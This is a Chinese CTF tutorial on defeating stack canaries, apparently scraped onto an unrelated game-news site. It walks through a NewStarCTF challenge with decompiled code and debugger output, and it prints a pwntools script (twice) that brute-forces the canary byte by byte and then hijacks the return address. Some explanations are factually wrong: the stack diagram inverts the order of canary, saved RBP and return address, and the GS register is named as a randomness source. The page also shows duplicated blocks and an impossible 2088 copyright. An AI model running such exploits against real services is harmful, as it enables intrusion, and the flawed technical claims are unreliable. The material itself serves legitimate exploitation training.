原木素材游戏活动站 - 沙盒建造最新资讯

原木素材游戏活动站 - 沙盒建造最新资讯

绕过防御之击败canary保护

Home 2026-08-20 13:00:05 绕过防御之击败canary保护

绕过防御之击败canary保护

绕过防御之击败canary保护canary的认识和原理函数在开始执行的时候会先往栈底插入 cookie 信息,当函数真正返回的时候会验证 cookie 信息是否合法

  • admin 建造大赛
  • 2026-08-20 13:00:05

绕过防御之击败canary保护canary的认识和原理函数在开始执行的时候会先往栈底插入 cookie 信息,当函数真正返回的时候会验证 cookie 信息是否合法,即栈帧销毁前测试该值是否被改动,如果不合法就停止运行。在 Linux 系统当中我们将这段 cookie 信息称为 Canary

Canary 是一个低字节位 \x00 的十六进制数。

由于 Canary 在局部变量的后面,在 EBP 或 RBP 的前面,所以当攻击者覆盖返回地址的时候往往也会将 cookie 信息给覆盖掉,这就会导致栈保护检查失败而阻止 payload 的运行,从而避免漏洞被利用成功

12345678910111213141516171819202122/** 典型的 x86-64 Linux 进程栈布局 (从高地址到低地址):** 高地址* |-------------------|* | 命令行参数和环境变量 |* |-------------------| ← 0x7ffffffff000 附近* | ... |* |-------------------|* | canary值 | ← 栈保护金丝雀 (Stack Canary)* |-------------------|* | 保存的RBP寄存器 | ← 当前函数的栈帧基址* |-------------------|* | 保存的返回地址 | ← RIP (下一条指令地址)* |-------------------|* | 局部变量 |* |-------------------|* | 函数参数 | ← 被调用函数的参数* |-------------------|* | ... |* 低地址*/

Canary 是什么?了解完 Canary 的具体位置之后我们还需要清楚 Canary 到底是什么:

Canary 本质上是一个随机生成的整数值(通常在 32 位程序中占 4 字节,64 位中占 8 字节)。

生成规则:在程序开始运行时,操作系统会从特殊的随机源(如 /dev/urandom 或 GS 寄存器)读取一个随机数作为 Canary 值,并将其存放在内存的某个位置(如 fs 段寄存器指向的线程局部存储区)。

生命周期:每一个函数在调用时,会从该内存位置将这个值取出来,并存放到栈帧的特定位置。在函数执行完毕、准备返回之前,程序会再次从栈帧中取出这个值,并与内存中保存的原始值进行比较。

对 canary 的简单叙述为了更清晰地了解 canary 的保护过程和破解方式,我们通过一道练习去进一步了解 canary 的栈情况。

BUUCTF[NewStarCTF 公开赛赛道]canary

123456789101112131415161718int __fastcall main(int argc, const char **argv, const char **envp){ char buf[40]; // [rsp+0h] [rbp-30h] BYREF unsigned __int64 v5; // [rsp+28h] [rbp-8h] v5 = __readfsqword(0x28u); init(argc, argv, envp); puts("Welcome to the zoo to adopt your canary"); puts("If you v me 50, I will tell you the correct key"); puts("Now answer me, will you v me 50"); read(0, buf, 0x20u); printf(buf); puts("What do you want to say to the canary"); read(0, buf, 0x20u); printf(buf); read(0, buf, (unsigned int)money); return 0;}

canary 总是出现在局部变量的后面和 EBP 或者 RBP 之前,所以我们运行到 read 函数执行之前看一看栈的情况

12RBP 0x7fffffffdce0 ◂— 1RSP 0x7fffffffdcb0 ◂— 0

在 RBP 之前,且末尾以 00 结尾的就是 canary ==>0xde32329de0620700

继续 si 进入到 read 函数当中了解 canary 保护的方法。

1234567 0x555555400aa9 mov eax, 0 EAX => 0► 0x555555400aae mov rcx, qword ptr [rbp - 8] RCX, [0x7fffffffdcd8] => 0xde32329de0620700 0x555555400ab2 xor rcx, qword ptr fs:[0x28] RCX => 0 (0xde32329de0620700 ^ 0xde32329de0620700) 0x555555400abb ✔ je main+222 ↓ 0x555555400ac2 leave 0x555555400ac3 ret <__libc_start_call_main+120>

在函数序言部分会取 fs 寄存器 0x28 处的值存放在 rbp-0x8 的位置,在函数返回前会将该值去除,并与 fs:0x28 的值进行异或,检查 canary 是否被破坏。当我们覆盖掉 Canary 的时候,进行异或的值就不会为 0,验证失败。

因此我们之前直接覆盖 rbp/ebp 的做法就失效了。我们就要寻找其他方式去绕过 Canary。

Canary 的绕过方法Canary绕过 方法一Canary 设计以字节 \x 结尾,其本意就是保证 Canary 可以阶段字符串,防止我们输出字符串的时候将 Canary,所以泄露站中的 Canary 的思路是将 Canary 的低字节 \x00 覆盖,然后连同用户的字符串一起打印出剩余的 Canary 部分。当我们打印出完整的 Canary 后,在溢出的时候再将正确的 Canary 填充回去,就可以进行控制返回地址,控制程序流程,从而获取 shell 了。

条件:1)有合适的输出函数 2)泄露 Canary 后程序不会崩溃

我们继续以_**BUUCTF[NewStarCTF 公开赛赛道]canary **_为例

我们可以找到 system 和/bin/sh 去构造后门函数,利用方式就是基本的 ret2syscall,不过我们还需要利用方式。

123456789101112131415161718int __fastcall main(int argc, const char **argv, const char **envp){ char buf[40]; // [rsp+0h] [rbp-30h] BYREF unsigned __int64 v5; // [rsp+28h] [rbp-8h] v5 = __readfsqword(0x28u); init(argc, argv, envp); puts("Welcome to the zoo to adopt your canary"); puts("If you v me 50, I will tell you the correct key"); puts("Now answer me, will you v me 50"); read(0, buf, 0x20u); printf(buf); puts("What do you want to say to the canary"); read(0, buf, 0x20u); printf(buf); read(0, buf, (unsigned int)money); return 0;}

思路:通过第一次覆盖,将前面的字节全部填充满,并将canary之前的最后一个字节也覆盖填充,之后打印出canary的值,之后第二次再相同位置填充canary的值,之后去进行栈溢出操作

Canary2绕过 方法二canary爆破原理先对于Canary,虽然每一次进程重启之后的Canary不同,但是用一个进程的不同线程的Canary是相同的,并且通过fork函数创建的在子进程中的Canary也是相同的,因为fork函数会直接拷贝父进程的内存。最低位是0x00,之后初次爆破,如果canary爆破不成功,则程序崩溃,爆破成功则程序进行,由此可以推断Canary是否爆破成功

canary2exp1234567891011121314151617181920212223242526from pwn import *name = './pwn2'p = process(name)elf = ELF(name)p.recvuntil('welcome\n')canary = '\x00'for i in range(3): print(hex(i)) for j in range(256): print(hex(j)) p.send('a'*100 + canary + chr(j)) a = p.recvuntil("welcome\n") if b"recv" in a: canary += chr(j) breakcanary = u32(canary)success("canary: " + hex(canary))getflag = 0x0804863Bpayload = b'a'*100 + p32(canary) + b'a'*12 + p32(getflag)p.sendline(payload)p.interactive()

爆破exp分析12345678910111213141516171819202122232425262728from pwn import *name = './pwn2'p = process(name)elf = ELF(name)p.recvuntil('welcome\n')canary = '\x00'for i in range(3): #爆破剩余的三个字节 print(hex(i)) #打印当前爆破的是第几个字节 for j in range(256): #遍历0x00~0xff的256个可能的字节值 print(hex(j)) #打印当前字节值 #开始尝试构造paylaod p.send('a'*100 + canary + chr(j)) #接收程序输出,判断是否爆破成功 a = p.recvuntil("welcome\n") if b"recv" in a: #判断程序中是否包含recv,如果包含证明成功 canary += chr(j) #把争取的字节加入canary breakcanary = u32(canary)success("canary: " + hex(canary))getflag = 0x0804863Bpayload = b'a'*100 + p32(canary) + b'a'*12 + p32(getflag)p.sendline(payload)p.interactive()

更新: 2026-05-22 21:18:42原文: https://www.yuque.com/idcm/wnemg9/mzehwtf2avfgmeiw

  • 中国女足四连胜挺进世界杯,27战中国台北全胜再创六项纪录
Copyright © 2088 原木素材游戏活动站 - 沙盒建造最新资讯 All Rights Reserved.
友情链接